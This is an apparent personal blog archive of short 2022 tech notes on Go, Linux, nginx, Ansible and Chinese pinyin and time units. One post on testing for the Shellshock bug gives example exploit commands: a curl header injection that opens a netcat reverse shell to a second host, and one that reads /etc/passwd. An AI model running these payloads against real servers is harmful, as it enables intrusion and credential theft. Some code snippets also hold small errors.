2022 on Ricky

Terraform Provider Development Notes

Wed, 28 Dec 2022 12:36:00 +0800

Terraform Provider Development Notes

Inspecting Web Views in macOS

Fri, 02 Dec 2022 13:51:24 +0800

Inspecting Web Views in macOS

defaults write NSGlobalDomain WebKitDeveloperExtras -bool true
defaults write -g WebKitDeveloperExtras -bool YES

Take Screenshots with Selenium in Go

Fri, 02 Dec 2022 13:40:19 +0800

Take Screenshots with Selenium in Go

package main

import (
 "fmt"
 log "github.com/sirupsen/logrus"
 "github.com/tebeka/selenium"
 "io/ioutil"
)

const (
 chromeDriverPath = "/usr/local/bin/chromedriver"
 port = 9515
)

func main() {
 var opts []selenium.ServiceOption
 selenium.SetDebug(false)
 service, err := selenium.NewChromeDriverService(chromeDriverPath, port, opts...)
 if err != nil {
 panic(err) // panic is used only as an example and is not otherwise recommended.
 }
 defer service.Stop()

 caps := selenium.Capabilities{"browserName": "chrome"}
 // Full-page screenshot
 // Get page width/height, resize the browser window, then take a screenshot.
 // Note: only headless mode allows arbitrary window sizes; otherwise the max height cannot exceed your screen resolution.
 // chromeCaps := chrome.Capabilities{
 // Path: "",
 // Args: []string{
 // "--headless",
 // },
 // }
 // caps.AddChrome(chromeCaps)

 wd, err := selenium.NewRemote(caps, fmt.Sprintf("http://localhost:%d/wd/hub", port))
 if err != nil {
 panic(err)
 }
 defer wd.Quit()

 // ExecuteScript can run JavaScript. The return value is interface{}, so assert to float then convert to int.
 // height, _ := wd.ExecuteScript("return document.body.parentNode.scrollHeight", nil)
 // var realHeight = int(height.(float64))
 // Then set the window size.
 // wd.ResizeWindow("", 1920, realHeight)

 if err := wd.Get("https://github.com/tgbot-collection/archiver"); err != nil {
 panic(err)
 }

 screenshot, err := wd.Screenshot()
 if err != nil {
 log.Errorln(err)

 }
 ioutil.WriteFile("screenshot.png", screenshot, 0644)

}

Full-page screenshot

Get the page width/height, resize the browser window accordingly, and then take the screenshot. Note that only headless mode allows arbitrary window sizes; otherwise the maximum height cannot exceed your display resolution.

Ancient Time Units

Tue, 29 Nov 2022 11:21:02 +0800

Ancient Time Units

Twelve Double-Hour Time Reference

Time Period	Ancient Name	Modern Time	Initial / Exact Time	Other Names (full)
子時	夜半	23:00-01:00	子初 23:00 子正 00:00	子夜、中夜、午夜、夜分、夜半、未旦、宵分、未央
丑時	雞鳴	01:00-03:00	丑初 01:00 丑正 02:00	荒雞
寅時	平旦	03:00-05:00	寅初 03:00 寅正 04:00	平明、旦明、黎明、早旦、日旦、昧旦、騎旦、早晨、早夜、早朝、昧爽、旦日、旦時
卯時	日出	05:00-07:00	卯初 05:00 卯正 06:00	日上、日生、日升、日始、日晞、旭日、破曉
辰時	食時	07:00-09:00	辰初 07:00 辰正 08:00	早食、宴食、蚤食
巳時	隅中	09:00-11:00	巳初 09:00 巳正 10:00	日隅、禺中、日禺
午時	日中	11:00-13:00	午初 11:00 午正 12:00	日正、日午、日高、正午、中午、亭午、日當午、平午、平晝
未時	日昳	13:00-15:00	未初 13:00 未正 14:00	日昃、日仄、日側、日跌、日斜、日映、日央
申時	晡時	15:00-17:00	申初 15:00 申正 16:00	餔時、日餔、日晡、日鋪、日稷、日夕、夕食
酉時	日入	17:00-19:00	酉初 17:00 酉正 18:00	日沒、日沉、日西、日落、日逝、日晏、日旴、日晦、傍晚
戌時	黃昏	19:00-21:00	戌初 19:00 戌正 20:00	日夕、日末、日暮、日晚、日闇、日墮、日暗、日曛、曛黃
亥時	人定	21:00-23:00	亥初 21:00 亥正 22:00	定昏、夤夜

Night Watches

In the Han dynasty, palace guards rotated in five shifts called “five watches”. Thus, a night was divided into five watches, each equal to one time period (double-hour). Xu time is the first watch, Hai time is the second, Zi time the third, Chou time the fourth, and Yin time the fifth.

How to Detect RAID Information in Linux

Mon, 28 Nov 2022 15:36:27 +0800

How to Detect RAID Information in Linux

lspci

lspci | grep RAID
00:1f.2 RAID bus controller: Intel Corporation 82801 Mobile SATA Controller [RAID mode] (rev 04)

lshw

lshw -class storage
 *-raid
 description: RAID bus controller
 product: 82801 Mobile SATA Controller [RAID mode]
 vendor: Intel Corporation
 physical id: 1f.2
 bus info: pci@0000:00:1f.2
 logical name: scsi0
 version: 04
 width: 32 bits
 clock: 66MHz
 capabilities: raid msi pm bus_master cap_list emulated
 configuration: driver=ahci latency=0
 resources: irq:26 ioport:f0d0(size=8) ioport:f0c0(size=4) ioport:f0b0(size=8) ioport:f0a0(size=4) ioport:f060(size=32) memory:f7e36000-f7e367ff

smartctl

dmesg | grep -i scsi
[ 0.210852] SCSI subsystem initialized
[ 0.341280] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 243)
...
[ 1.213299] scsi 0:0:0:0: Direct-Access ATA ST320LT012-9WS14 YAM1 PQ: 0 ANSI: 5
[ 1.319886] sd 0:0:0:0: [sda] Attached SCSI disk
[ 19.571008] sd 0:0:0:0: Attached scsi generic sg0 type 0

smartctl --all /dev/sda
Model Family: Seagate Laptop HDD
Device Model: ST320LT012-9WS14C
Serial Number: S0V3R9LL
LU WWN Device Id: 5 000c50 05be4653c
Firmware Version: 0001YAM1
User Capacity: 320,072,933,376 bytes [320 GB]
Sector Sizes: 512 bytes logical, 4096 bytes physical
Rotation Rate: 5400 rpm
Form Factor: 2.5 inches
Device is: In smartctl database 7.3/5319
ATA Version is: ATA8-ACS T13/1699-D revision 4
SATA Version is: SATA 2.6, 3.0 Gb/s (current: 3.0 Gb/s)
Local Time is: Sat Nov 19 20:52:01 2022 PKT
SMART support is: Available - device has SMART capability.
SMART support is: Enabled
...

MegaCLI

megacli -LDInfo -Lall -aALL
Adapter 0 -- Virtual Drive Information:
Virtual Drive: 0 (Target Id: 0)
Name : SEAGATE
RAID Level : Primary-1, Secondary-0, RAID Level Qualifier-0
Size : 320 GB
Sector Size : 512
Mirror Data : 320 GB
State : Optimal
...

lsscsi

lsscsi
[0:0:0:0] disk ATA ST320LT012-9WS14 YAM1 /dev/sda

Vendor-Specific Tools

omreport storage vdisk
List of Virtual Disks in the System

Controller SEAGATE Laptop HDD
ID : 0
Status : Ok
Name : SEAGATE
State : Ready
Hot Spare Policy violated : Not Assigned
Encrypted : No
Layout : RAID-0
Size : 320.00 GB (343597383680 bytes)
T10 Protection Information Status : No
Associated Fluid Cache State : Not Applicable
Device Name : /dev/sda
Bus Protocol : ATA
Media : HDD
Read Policy : Adaptive Read Ahead
Write Policy : Write Back
Cache Policy : Not Applicable
Stripe Element Size : 128 KB
Disk Cache Policy : Enabled

Test Whether a Server Is Vulnerable to Shellshock Bug

Mon, 28 Nov 2022 15:35:30 +0800

Test Whether a Server Is Vulnerable to Shellshock Bug

The Shellshock Bug

env x=' () {:;};'

Exploiting Shellshock Bug

A substituted command is executed since the feature ignores the command specified by the user, and instead, it runs that which the ForceCommand defines.
The ignored commands from the user are put in the “SSH_ORIGINAL_COMMAND” environment variable. If the user’s default shell is Bash, the Bash shell will parse the value of the “SSH_ORIGINAL_COMMAND” environment variable on start-up and run the embedded commands.

Examples of Shellshock Exploit Commands

## 1
curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi

## 2
curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd"

use nmap script to test for the vulnerability

nmap -sV -p- --script http-shellshock 192.168.x.x
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

Containers from scratch

Thu, 24 Nov 2022 13:10:14 +0800

Containers from scratch

Container file systems

$ wget https://github.com/ericchiang/containers-from-scratch/releases/download/v0.1.0/rootfs.tar.gz
$ sha256sum rootfs.tar.gz
c79bfb46b9cf842055761a49161831aee8f4e667ad9e84ab57ab324a49bc828c rootfs.tar.gz
$ # tar needs sudo to create /dev files and setup file ownership
$ sudo tar -zxf rootfs.tar.gz
$ ls rootfs
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
$ ls -al rootfs/bin/ls
-rwxr-xr-x. 1 root root 118280 Mar 14 2015 rootfs/bin/ls

chroot

it allows us to restrict a process’ view of the file system. In this case, we’ll restrict our process to the “rootfs” directory then exec a shell.

How to Delete Files With Names That Contain Non-printable Characters

Mon, 14 Nov 2022 13:55:17 +0800

How to Delete Files With Names That Contain Non-printable Characters

ls -l
total 13
-rw-r--r-- 1 ZZ 197121 4 Nov 6 07:08 ' '
-rw-r--r-- 1 ZZ 197121 162 Apr 16 2022 '~$iscord.docx'
-rw-r--r-- 1 ZZ 197121 6 Nov 6 06:03 ''$'\302\226'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:01 ''$'\302\226''Λ---ω'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:13 '␴?␴??␴??::␴?␴'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:12 ␴__␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:16 ␣␣␣␣␣␣␣␣
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:26 ␣ μ μ Ω Ω
-rw-r--r-- 1 ZZ 197121 14 Nov 6 06:23 '␣ μ ␴'$'\342\220\264''Ξ'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

Using ANSI-C Quoting

# Using ANSI-C Quoting
rm ''$'\302\226'
# We can also use the $ special character before enclosing the filename in single quotes
rm $'\356\200\215'

# pass an item's name to rm without using the ANSI-C quoting
rm '\026\033'
rm: cannot remove '\026\033': No such file or directory

Using Inode Numbers

ls -li
total 11
...
6517085 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
7826050 -rw-r--r-- 1 ZZ 197121 3 Nov 9 04:23 ''$'\356\200\215\356\200\215\356\200\215'
4685554 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

we can delete the desired file by passing its inode number to the -inum switch of the find command

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes

Mon, 14 Nov 2022 12:55:39 +0800

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes

chage and Password Aging

chage --list root
Last password change : Oct 01, 2022
Password expires : never
Password inactive : never
Account expires : never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7

Consequently, we can change any field via its associated flag:

How to Use which on an Aliased Command

Thu, 10 Nov 2022 16:24:30 +0800

How to Use which on an Aliased Command

type

type grep
grep is an alias for grep --color=auto


# Bash's type
type -P grep
/usr/bin/grep

# Zsh's type
type -p grep
grep is /usr/bin/grep

GNU which

which -a which
which: shell built-in command
/usr/bin/which


alias top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'

alias | /usr/bin/which -i top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'
 /usr/bin/uniq
 /usr/bin/sort
 /usr/bin/head

Convert Command Output to an Image

Thu, 10 Nov 2022 16:13:04 +0800

Convert Command Output to an Image

---
- name: Capture command output and convert to image
 hosts: all

 tasks:
 - name: Display content of /etc/redhat-release
 shell: cat /etc/redhat-release
 register: redhat_release_result

 - name: hostname
 shell: hostname
 register: hostname_result

 # You can use ImageMagick to convert text to an image
 - name: Convert command output as image
 shell: echo -e "{{ hostname_result.stdout }}\n{{ redhat_release_result.stdout }}" | convert label:@- {{ hostname_result.stdout }}.png
 delegate_to: localhost

Use Go Fuzzing to Write More Complete Unit Tests

Thu, 03 Nov 2022 16:57:29 +0800

Use Go Fuzzing to Write More Complete Unit Tests

func Pow(base uint, exponent uint) uint {
 if exponent == 0 {
 return 1
 }

 return base * Pow(base, exponent-1)
}

func FuzzPow(f *testing.F) {
 f.Fuzz(func(t *testing.T, x, y uint) {
 assert := assert.New(t)

 assert.Equal(Pow(x, 0), uint(1))
 assert.Equal(Pow(x, 1), x)
 assert.Equal(Pow(x, 2), x*x)

 if x > 0 && y > 0 {
 assert.Equal(Pow(x, y)/x, Pow(x, y-1))
 }
 })
}

go test -fuzz=Fuzz -fuzztime 20s

When a fuzz test fails, Go records the input in testcase/
You will find that when x=6 and y=30, the assert fails, i.e., pow(6, 30)/6 is not equal to pow(6, 29). That seems odd, but after testing you will see it is because pow(6, 30) overflows.
The max.MaxUint in Go is about 18 * 10^¹⁸, while 6^²⁹ is about 7 * 10^¹⁸. If you multiply 6^²⁹ by 6, it overflows and yields 8 * 10^¹⁸. It is like running two laps and ending up near the starting point.

var ErrOverflow = fmt.Errorf("overflow")

func Pow(base uint, exponent uint) (uint, error) {
 if exponent == 0 {
 return 1
 }

 prevResult, err := Pow(base, exponent-1)
 if math.MaxUint/base < prevResult {
 return 0, ErrOverflow
 }

 return base * prevResult, nil
}

func FuzzPow(f *testing.F) {
 f.Fuzz(func(t *testing.T, x, y uint) {
 assert := assert.New(t)
 if result, err := Pow(x, 1); err != ErrOverflow {
 assert.Equal(result, x)
 }

 if result, err := Pow(x, y); x > 0 && y > 0 && err != ErrOverflow {
 resultDivX, _ := Pow(x, y-1)
 assert.Equal(result/x, resultDivX)
 }
 })
}

Shell Script Best Practices

Thu, 03 Nov 2022 16:51:11 +0800

Shell Script Best Practices

Things

Just make the first line be #!/usr/bin/env bash.
Use the .sh (or .bash) extension for your file.
Use set -o errexit at the start of your script.
Prefer to use set -o nounset.
1. use "${VARNAME-}" instead of "$VARNAME"
Use set -o pipefail.
Use set -o xtrace, with a check on $TRACE env variable.
1. if [[ "${TRACE-0}" == "1" ]]; then set -o xtrace; fi
2. People can now enable debug mode, by running your script as TRACE=1 ./script.sh instead of ./script.sh.
Use [[ ]] for conditions in if / while statements, instead of [ ] or test.
Always quote variable accesses with double-quotes.
Use local variables in functions.
When printing error messages, please redirect to stderr.
1. Use echo 'Something unexpected happened' >&2 for this.
Use long options, where possible (like --silent instead of -s).
If appropriate, change to the script’s directory close to the start of the script.
1. Use cd “$(dirname “$0”)”, which works in most cases.
Use shellcheck. Heed its warnings.

Template

#!/usr/bin/env bash

set -o errexit
set -o nounset
set -o pipefail
if [[ "${TRACE-0}" == "1" ]]; then
 set -o xtrace
fi

if [[ "${1-}" =~ ^-*h(elp)?$ ]]; then
 echo 'Usage: ./script.sh arg-one arg-two

This is an awesome bash script to make your life better.

'
 exit
fi

cd "$(dirname "$0")"

main() {
 echo do awesome stuff
}

main "$@"

The Art of Command Line

Wed, 02 Nov 2022 15:04:37 +0800

The Art of Command Line

一張圖學會【拼音輸入法】

Tue, 25 Oct 2022 11:57:51 +0800

一張圖學會【拼音輸入法】

聲母（Initials）

聲母	拼音	例字
ㄅ	b	爸 ba、別 bie、奔 ben
ㄆ	p	撇 pie、平 ping、鵬 peng
ㄇ	m	媽 ma、莫 mo、某 mou
ㄈ	f	發 fa、飯 fan、風 feng
ㄉ	d	的 d、但 dan、段 duan
ㄊ	t	他 ta、貼 tie、團 tuan
ㄋ	n	你 ni、農 nong、暖 nuan
ㄌ	l	李 li、亂 luan、亮 liang
ㄍ	g	跟 gen、怪 guai、灌 guan
ㄎ	k	快 kuai、考 kao、狂 kuang
ㄏ	h	哈 ha、漢 han、橫 heng
ㄐ	j	叫 jiao、雞 ji、京 jing
ㄑ	q	七 qi、琴 qin、巧 qiao
ㄒ	x	西 xi、寫 xie、小 xiao
ㄓ	zh	知 zhi、戰 zhan、正 zheng
ㄔ	ch	吃 chi、船 chuan、重 chong
ㄕ	sh	是 shi、山 shan、刷 shuan
ㄖ	r	日 ri、讓 rang、人 ren
ㄗ	z	字 zi、讚 zan、昨 zuo
ㄘ	c	次 ci、菜 cai、餐 can
ㄙ	s	三 san、四 si、算 suan

介音 / 特殊聲母

類型	拼音	例字
y	yi / i	以 yi、依 yi、修 xiu
w	wu / u	無 wu、溫 wen、船 chuan
v	yu / ü	律 lü、雨 yu、院 yuan

單韻母（Finals）

韻母	拼音	例字
ㄚ	a	沙 sha、撒 sa、奧 ao
ㄛ	o	哦 o、偶 ou、歐 ou
ㄜ	e	餓 e、樂 le、設 she
ㄝ	ê / ye	也 ye、學 xue、切 qie
ㄞ	ai	愛 ai、篩 shai、崖 yai
ㄟ	ei	雷 lei、最 zui、脆 cui
ㄠ	ao	凹 ao、老 lao、笑 xiao
ㄡ	ou	歐 ou、樓 lou、手 shou
ㄢ	an	安 an、蘭 lan、算 suan
ㄣ	en	恩 en、林 lin、冷 leng
ㄤ	ang	昂 ang、浪 lang、讓 rang
ㄥ	eng	成 cheng、冷 leng、令 ling
ㄦ	er	二 er、兒 er、而 er

複韻母 / 組合韻

拼音	例字
ye	也 ye、結 jie、血 xie
iu	六 liu、有 you、謬 miu
in	音 yin、新 xin、林 lin
ing	英 ying、靈 ling、醒 xing
uan	元 yuan、卷 juan、團 tuan
ue	略 lue、學 xue
yun	雲 yun、巡 xun、群 qun
ong	用 yong、兇 xiong、同 tong
ui	鬼 gui、為 wei、虧 kui
un	文 wen、混 hun、準 zhun
ua	華 hua、抓 zhua、蛙 wa
uai	壞 huai、快 kuai、踹 chuai

Printing ASCII Art in the Shell

Fri, 21 Oct 2022 17:30:41 +0800

Printing ASCII Art in the Shell

sudo apt install sysvbanner

$ banner hello

 # # ###### # # ####
 # # # # # # #
 ###### ##### # # # #
 # # # # # # #
 # # # # # # #
 # # ###### ###### ###### ####

FIGlet: Frank, Ian, and Glenn’s Letters

sudo apt install figlet

$ figlet hello
 _ _ _
| |__ ___| | | ___
| '_ \ / _ \ | |/ _ \
| | | | __/ | | (_) |
|_| |_|\___|_|_|\___/

-f option and specify a font name for the output
-l, -c, and -r options to align the text to the left, center, or right,

TOIlet: FIGlet With More Options

sudo apt install toilet

How to Make Output Overwrite the Same Line in a Terminal

Fri, 21 Oct 2022 17:29:10 +0800

How to Make Output Overwrite the Same Line in a Terminal

Introduction to the Problem

$ cat print_status.sh
!/bin/bash
echo "[INFO] Processing file: readme.txt"
sleep 2 To simulate the file processing

echo "[INFO] Processing file: veryPowerfulService.service"
sleep 2

echo "[INFO] Processing file: log.txt"
echo "DONE"


$ ./print_status.sh
[INFO] Processing file: readme.txt
[INFO] Processing file: veryPowerfulService.service
[INFO] Processing file: log.txt
DONE

The “Magic Code”: `\033[0K\r`

-n option asks the echo command to stop outputting the trailing newline character
-e option allows the echo command to interpret backslash escapes such as \n (newline) and \r (carriage return)
\033 - It’s the escape sequence. In other words, it’s ESC.
\033[ - Then this becomes “ESC [”, which is the control sequence introducer (CSI).
\033[0k - So it’s “CSI 0 K”. Further, “CSI 0 K” erases the text from the cursor to the end of the line.
\r - This is the carriage return. It brings the cursor to the beginning of the line.

$ cat print_status.sh
#!/bin/bash
echo -ne "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

echo -ne "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

echo -e "[INFO] Processing file: log.txt\033[0K\r"
echo "DONE"

!/bin/bash
printf "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

printf "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

printf "[INFO] Processing file: log.txt\033[0K\r\n"
echo "DONE"

Elasticsearch Study Notes

Thu, 06 Oct 2022 11:30:59 +0800

Elasticsearch Study Notes

Install the Chinese analyzer plugin

docker exec -it elasticsearch bash
$ elasticsearch-plugin install https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v8.4.1/elasticsearch-analysis-ik-8.4.1.zip

Dev Tools
- The content field is text. Use ik_max_word for indexing and ik_smart for searching. The former generates as many tokens as possible, while the latter generates coarser-grained tokens.

PUT /words
{
 "mappings": {
 "properties": {
 "content": {
 "type": "text",
 "analyzer": "ik_max_word",
 "search_analyzer": "ik_smart"
 },
 "age": {
 "type": "integer",
 "index": false
 }
 }
 }
}

{
 "acknowledged": true,
 "shards_acknowledged": true,
 "index": "words"
}

Pokemon Legends: Arceus - Two Playthroughs Completed

Mon, 19 Sep 2022 11:30:08 +0800

Pokemon Legends: Arceus - Two Playthroughs Completed

Avoiding the Top 10 NGINX Configuration Mistakes - NGINX

Fri, 16 Sep 2022 15:22:23 +0800

Avoiding the Top 10 NGINX Configuration Mistakes - NGINX

1) Not enough file descriptors (FDs) per worker

What’s wrong

worker_connections limits how many concurrent connections a single worker can hold (default 512).
But each worker is also limited by the OS per-process file descriptor limit (often 1024 by default).
Common mistake: increasing worker_connections but not raising the FD limit, causing early exhaustion.

Fix

Set worker_rlimit_nofile in the main context to at least 2× worker_connections (rule of thumb).
Also validate the system-wide FD cap (fs.file-max) so that: worker_rlimit_nofile * worker_processes is well below fs.file-max.

# main context
worker_connections 1024; # inside events {}
worker_rlimit_nofile 2048; # main context

2) The `error_log off` directive (it does not disable error logging)

What’s wrong

Unlike access_log, error_log does not accept an off parameter.
error_log off; creates a file literally named off (often under /etc/nginx/).

Fix (generally not recommended)

If you must suppress error logging due to storage constraints, send it to /dev/null and restrict severity:

# main context
error_log /dev/null emerg;

Note

This only applies after NGINX reads and validates config; startup/reload may still log to the default location unless you start NGINX with -e <error_log_location>.

3) Not enabling keepalive connections to upstream servers

What’s wrong

Default behavior: NGINX opens a new upstream connection for each request.
At high load this can consume resources and can exhaust ephemeral source ports due to TIME-WAIT, preventing new upstream connections.

Fix

(A) Add keepalive to each upstream {}

Go string format

Thu, 08 Sep 2022 11:32:00 +0800

The verb at the end defines the type and the interpretation of its corresponding argument.

d - decimal integer
o - octal integer
O - octal integer with 0o prefix
b - binary integer
x - hexadecimal integer lowercase
X - hexadecimal integer uppercase
f - decimal floating point, lowercase
F - decimal floating point, uppercase
e - scientific notation (mantissa/exponent), lowercase
E - scientific notation (mantissa/exponent), uppercase
g - the shortest representation of %e or %f
G - the shortest representation of %E or %F
c - a character represented by the corresponding Unicode code point
q - a quoted character
U - Unicode escape sequence
t - the word true or false
s - a string
v - default format
#v - Go-syntax representation of the value
T - a Go-syntax representation of the type of the value
p - pointer address
% - a double %% prints a single %

Go string format indexing

package main

import (
 "fmt"
)

func main() {

 n1 := 2
 n2 := 3
 n3 := 4

 res := fmt.Sprintf("There are %d oranges %d apples %d plums", n1, n2, n3)
 fmt.Println(res) // There are 2 oranges 3 apples 4 plums

 res2 := fmt.Sprintf("There are %[2]d oranges %d apples %[1]d plums", n1, n2, n3)
 fmt.Println(res2) // There are 3 oranges 4 apples 2 plums
}

Go string format precision

package main

import (
 "fmt"
)

func main() {

 fmt.Printf("%0.f\n", 16.540) // 17
 fmt.Printf("%0.2f\n", 16.540) // 16.54
 fmt.Printf("%0.3f\n", 16.540) // 16.540
 fmt.Printf("%0.5f\n", 16.540) // 16.54000
}

Go string format flags

package main

import (
 "fmt"
)

func main() {

 fmt.Printf("%+d\n", 1691) // +1691

 fmt.Printf("%#x\n", 1691) // 0x69b
 fmt.Printf("%#X\n", 1691) // 0X69B
 fmt.Printf("%#b\n", 1691) // 0b11010011011

 fmt.Printf("%10d\n", 1691) // 1691
 fmt.Printf("%-10d\n", 1691) // 1691
 fmt.Printf("%010d\n", 1691) // 0000001691
}

Go string format width

package main

import (
 "fmt"
)

func main() {

 w := "falcon"
 n := 122
 h := 455.67

 fmt.Printf("%s\n", w) // falcon
 fmt.Printf("%10s\n", w) // falcon

 fmt.Printf("%d\n", n). // 122
 fmt.Printf("%7d\n", n) // 122
 fmt.Printf("%07d\n", n) // 0000122

 fmt.Printf("%10f\n", h) // 455.670000
 fmt.Printf("%11f\n", h) // 455.670000
 fmt.Printf("%12f\n", h) // 455.670000
}

LVM - lvg and lvol

Mon, 05 Sep 2022 15:32:05 +0800

LVM - lvg and lvol

volume group

- name: 在 /dev/sda1 跟 /dev/sdb1 之上建立 volume group，其 extend size 設置為 32MB
 community.general.lvg:
 vg: vg.services
 pvs: /dev/sda1,/dev/sdb1
 pesize: 32

local volume

- name: 建立一個大小為 512m 的 local volume
 community.general.lvol:
 vg: firefly
 lv: test
 size: 512

Example

---
- name: Create LVM for DRBD
 hosts: all
 become: yes

 vars:
 vg_name: drbdpool

 tasks:
 - name: Create a new primary partition for LVM
 community.general.parted:
 device: /dev/sdb
 number: 1
 align: optimal
 flags: [lvm]
 state: present

 - name: Create a volume group on top of /dev/sda1 with physical extent size = 32MB
 community.general.lvg:
 vg: "{{ vg_name }}"
 pvs: /dev/sdb1
 state: present

 - name: Create a logical volume
 community.general.lvol:
 vg: "{{ vg_name }}"
 lv: drbddata
 size: 100%FREE

What to Do With Long Strings in YAML?

Mon, 29 Aug 2022 15:01:40 +0800

What to Do With Long Strings in YAML?

YAML already defines this. In this case, there are four methods:

|: Newlines under it are preserved as newlines, and the last line ends with a newline.
>: Newlines under it are folded into spaces, forming a long string, and the last line ends with a newline.
|-: Newlines under it are preserved, but the last line does not end with a newline.
>-: Newlines under it are folded into spaces, and the last line does not end with a newline.

In short, > and >- improve YAML readability without adding extra newline characters. | and |- keep the string exactly as defined: if you see a newline in YAML, the string contains a newline.

Top 25 Nginx Tips and Tricks From Practical Experience

Wed, 10 Aug 2022 12:27:28 +0800

Top 25 Nginx Tips and Tricks From Practical Experience
server_tokens off;
ssl_protocols TLSv1.2 TLSv1.3;
Disable any undesirable HTTP methods

 location / {
 limit_except GET HEAD POST { deny all; }
 }

Enable sysctl based protection

net.ipv4.conf.all.rp_filter = 1
net.ipv4.tcp_syncookies = 1

Stop image hotlinking

location /images/ {
 valid_referers none blocked www.domain.com domain.com;
 if ($invalid_referer) {
 return 403;
 }
}

add_header X-Content-Type-Options nosniff;
add_header X-XSS-Protection "1; mode=block";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

Build a Lightweight Docker Image for Your Go App? | IT Man

Mon, 25 Jul 2022 17:33:47 +0800

Build a Lightweight Docker Image for Your Go App? | IT Man

go build

# default
$ go build -o test1 main.go
$ du -sh test1
14M test1


# You can add `-ldflags "-s -w"` during compilation to reduce the binary size by stripping some link and debug info. Details:
# -a: force rebuilding all dependencies
# -s: drop symbol table info; stack traces in panic will lose file/line info
# -w: drop DWARF debug info; you cannot debug with gdb
# If you don't need the symbol table, you can just use "-s"
# Note: it is not recommended to use -w and -s together
$ go build -ldflags "-s -w" -o test2 main.go
$ du -sh test2
11M test2

upx(`brew/yum install upx`)

$ upx test2
 Ultimate Packer for eXecutables
 Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
 File size Ratio Format Name
 -------------------- ------ ----------- -----------
 11490768 -> 4063248 35.36% macho/amd64 test2
Packed 1 file.

$ upx --brute test2
$ du -sh test2
4.6M test2

UPX compression options

[Golang] Use build tags for different build configs

Mon, 18 Jul 2022 14:21:34 +0800

[Golang] Use build tags for different build configs

Go build -ldflags

package main

import (
 "fmt"
)

var flagString string

func main() {
 fmt.Println("This build with ldflag:", flagString)
}

$ go build -ldflags '-X main.flagString "test"'

$ ./main
This build with ldflag: test

Go build -tags

debug_config.go

//+build debug

package main

var TestString string = "test debug"
var TestString2 string = " and it will run every module with debug tag."

func GetConfigString() string {
 return "it is debug....."
}

//+build debug needs a blank line before and after it (unless it is on the first line).

release_config.go

//+build !debug

package main

var TestString string = "test release"
var TestString2 string = " and it will run every module as no debug tag."

func GetConfigString() string {
 return "it is release....."
}

main

package main

import (
 "fmt"
)

func main() {
 fmt.Println("This build is ", TestString, TestString2, GetConfigString())
}

$ go build -tags debug .
$ ./main
This build is test debug and it will run every module with debug tag. it is debug.....

$ go build .
$ ./main
This build is test release and it will run every module as no debug tag. it is release.....

A Concise Go embed Tutorial

Tue, 12 Jul 2022 13:57:03 +0800

A Concise Go embed Tutorial

Embedding

For a single file, you can embed it as string or []byte
For multiple files and directories, you can embed them as a new filesystem (FS)
Import the “embed” package even if it is not explicitly used
The go:embed directive is used for embedding and must be followed by the target variable name
Only string, []byte, and embed.FS are supported. Aliases and named types (e.g., type S string) are not allowed
Uses relative paths

string/[]byte

package main

import (
 _ "embed"
 "fmt"
)

//go:embed hello.txt
var s string

//go:embed hello.txt
var b []byte

func main() {
 fmt.Println(s)
 fmt.Println(b)
}

embed.FS

package main

import (
 "embed"
 "fmt"
)

//go:embed hello.txt hello2.txt
//go:embed "p/he llo.txt"
//go:embed `p/hello-2.txt`
//go:embed dir
var f embed.FS
func main() {
 data, _ := f.ReadFile("hello.txt")
 fmt.Println(string(data))
 data, _ = f.ReadFile("hello2.txt")
 fmt.Println(string(data))
 data, _ := f.ReadFile("p/he llo.txt")
 fmt.Println(string(data))
 data, _ = f.ReadFile("p/hello-2.txt")
 fmt.Println(string(data))
}

Matching patterns

go:embed can take just a directory name. All files and directories inside, except those starting with . and _, are embedded. Subdirectories are embedded recursively to form a filesystem for that directory.

Using Vim as a Diff Tool

Thu, 07 Jul 2022 17:36:22 +0800

Using Vim as a Diff Tool

command

vim -d file1.txt file2.txt or vimdiff file1.txt file2.txt

Switching Between Diff Windows: Ctrl-w + Ctrl-w
Changing Split Window Orientation
- ctrl-w + K key combination to change window orientation from vertical to horizontal.
- ctrl-w + H shortcut to switch back window orientation to a vertical split.
Jumping Between Changes
- ]c key combination to go to the next change.
- [c shortcut to jump to the previous change.
Applying Changes From the Diff Window: :diffget, :diffput
Export Diff to the HTML Web Page: :TOhtml | w ~/diff.html

OIDC(OpenID Connect) 简介

Wed, 06 Jul 2022 08:47:49 +0800

OIDC(OpenID Connect) 简介

Authentication vs. authorization

Authentication 通常是指校验是否是用户本人的这个过程，而 Authorization 则更多的是指用户是否有权限。通常我们都是先校验是否是用户本人，然后再校验用户是否有权限。也就是先开始 Authentication，再开始 Authorization。

Authentication	Authorization
